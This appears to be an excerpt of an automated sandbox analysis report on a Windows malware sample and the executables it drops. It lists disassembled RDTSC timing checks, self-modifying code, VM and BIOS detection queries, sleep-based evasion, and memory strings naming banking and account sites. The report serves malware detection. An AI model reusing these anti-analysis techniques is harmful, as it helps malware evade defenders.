Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A2C second address: 4E20A82 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edx, cx 0x00000009 popad 0x0000000a jne 00007F1A5F55F2B6h 0x00000010 jmp 00007F19ECFD9946h 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 call 00007F19ECFD993Eh 0x0000001e mov edi, ecx 0x00000020 pop ecx 0x00000021 mov esi, ebx 0x00000023 popad 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F19ECFD9945h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A82 second address: 4E20A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A92 second address: 4E20ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007F19ECFD9946h 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F19ECFD9940h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F19ECFD993Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20ADE second address: 4E20AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20AF0 second address: 4E20B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F19ECFD9947h 0x0000000e push dword ptr [ebp+14h] 0x00000011 jmp 00007F19ECFD9946h 0x00000016 push dword ptr [ebp+10h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30D44 second address: 4E30D6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F19ECFDC0D5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AE3 second address: 4E30AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 pushad 0x0000000a mov bl, 63h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AF2 second address: 4E30B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 0D1Bh 0x00000008 popad 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F19ECFDC0CCh 0x00000013 adc esi, 091585E8h 0x00000019 jmp 00007F19ECFDC0CBh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 mov al, 98h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07CB second address: 4EB07D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07D1 second address: 4EB07D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07D5 second address: 4EB082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f pushfd 0x00000010 jmp 00007F19ECFD9941h 0x00000015 sub esi, 615D5CB6h 0x0000001b jmp 00007F19ECFD9941h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F19ECFD993Eh 0x00000029 pop ebp 0x0000002a pushad 0x0000002b mov ebx, ecx 0x0000002d call 00007F19ECFD993Ah 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA08F8 second address: 4EA08FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA08FE second address: 4EA0939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F19ECFD9947h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F19ECFD9945h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0939 second address: 4EA0987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F19ECFDC0D3h 0x00000013 sub al, FFFFFFBEh 0x00000016 jmp 00007F19ECFDC0D9h 0x0000001b popfd 0x0000001c mov di, si 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0703 second address: 4EA0719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F19ECFD9941h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0719 second address: 4EA0752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F19ECFDC0CCh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F19ECFDC0CCh 0x00000017 adc cx, 14B8h 0x0000001c jmp 00007F19ECFDC0CBh 0x00000021 popfd 0x00000022 push esi 0x00000023 pop edi 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0752 second address: 4EA07E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F19ECFD993Bh 0x00000009 or esi, 4DA3967Eh 0x0000000f jmp 00007F19ECFD9949h 0x00000014 popfd 0x00000015 call 00007F19ECFD9940h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F19ECFD9941h 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F19ECFD9943h 0x0000002f sbb cx, 25EEh 0x00000034 jmp 00007F19ECFD9949h 0x00000039 popfd 0x0000003a movzx ecx, dx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07E3 second address: 4EA07EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400DA second address: 4E40128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F19ECFD993Bh 0x00000013 sbb esi, 3383E77Eh 0x00000019 jmp 00007F19ECFD9949h 0x0000001e popfd 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40128 second address: 4E40169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F19ECFDC0CBh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F19ECFDC0D6h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007F19ECFDC0CDh 0x0000001e pop eax 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BBE second address: 4EA0BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BC2 second address: 4EA0BC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BC8 second address: 4EA0C10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F19ECFD9940h 0x00000009 sub cx, D658h 0x0000000e jmp 00007F19ECFD993Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov ax, 7B21h 0x0000001d mov bh, ch 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F19ECFD9944h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C10 second address: 4EA0C18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C18 second address: 4EA0CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a call 00007F19ECFD993Fh 0x0000000f pushfd 0x00000010 jmp 00007F19ECFD9948h 0x00000015 adc si, 8578h 0x0000001a jmp 00007F19ECFD993Bh 0x0000001f popfd 0x00000020 pop eax 0x00000021 pushfd 0x00000022 jmp 00007F19ECFD9949h 0x00000027 and esi, 7D1F1616h 0x0000002d jmp 00007F19ECFD9941h 0x00000032 popfd 0x00000033 popad 0x00000034 push dword ptr [ebp+0Ch] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F19ECFD993Dh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0CA1 second address: 4EA0D22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d call 00007F19ECFDC0CCh 0x00000012 mov bl, al 0x00000014 pop edx 0x00000015 pushad 0x00000016 mov ecx, 230BB129h 0x0000001b mov cl, 36h 0x0000001d popad 0x0000001e popad 0x0000001f push C72BDC3Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F19ECFDC0D3h 0x0000002c pop ecx 0x0000002d pushfd 0x0000002e jmp 00007F19ECFDC0D9h 0x00000033 and eax, 24F93B96h 0x00000039 jmp 00007F19ECFDC0D1h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D22 second address: 4EA0D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D7C second address: 4EA0D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D83 second address: 4EA0DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov edi, 47AA73BCh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E503D6 second address: 4E50403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F19ECFDC0D6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50403 second address: 4E50407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50407 second address: 4E50423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 83EB9D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9DF0EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 61EB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7BF0EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: ED7A18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: ED799B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: 10755D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: 109D5DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: 10844BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Special instruction interceptor: First address: 1102969 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Special instruction interceptor: First address: F8DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Special instruction interceptor: First address: 101F426 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Memory allocated: 1160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Memory allocated: 2B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Memory allocated: 31F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Memory allocated: 3370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Memory allocated: 5370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: 2790000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: 2590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: 26E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: 2700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Memory allocated: 4700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Target.exe	Memory allocated: 12F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Target.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Target.exe	Memory allocated: 4BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Memory allocated: 2F50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Memory allocated: 3150000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Memory allocated: 2F50000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04EA0CEE rdtsc

1_2_04EA0CEE

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Thread delayed: delay time: 180000

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\10001300101\Autosoundmick.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Autosoundmick[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7788	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7788	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7804	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7804	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep count: 272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep time: -8160000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe TID: 8100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe TID: 8116	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe TID: 8188	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe TID: 8188	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe TID: 3220	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe TID: 2620	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe TID: 7268	Thread sleep count: 138 > 30
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe TID: 7268	Thread sleep time: -4140000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe TID: 7288	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe TID: 7268	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe TID: 5464	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe TID: 6720	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe TID: 1396	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Thread delayed: delay time: 60000

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000000.3068261765.000000000079D000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmp, 8a32a8d958.exe, 0000000D.00000002.3643867035.0000000001053000.00000040.00000001.01000000.0000000F.sdmp, ece32691cf.exe, 00000017.00000002.3724755584.0000000000F6F000.00000040.00000001.01000000.00000013.sdmp, file.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: wscript.exe, 0000000E.00000002.3427790374.00000226B2633000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000001.00000003.2463730038.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
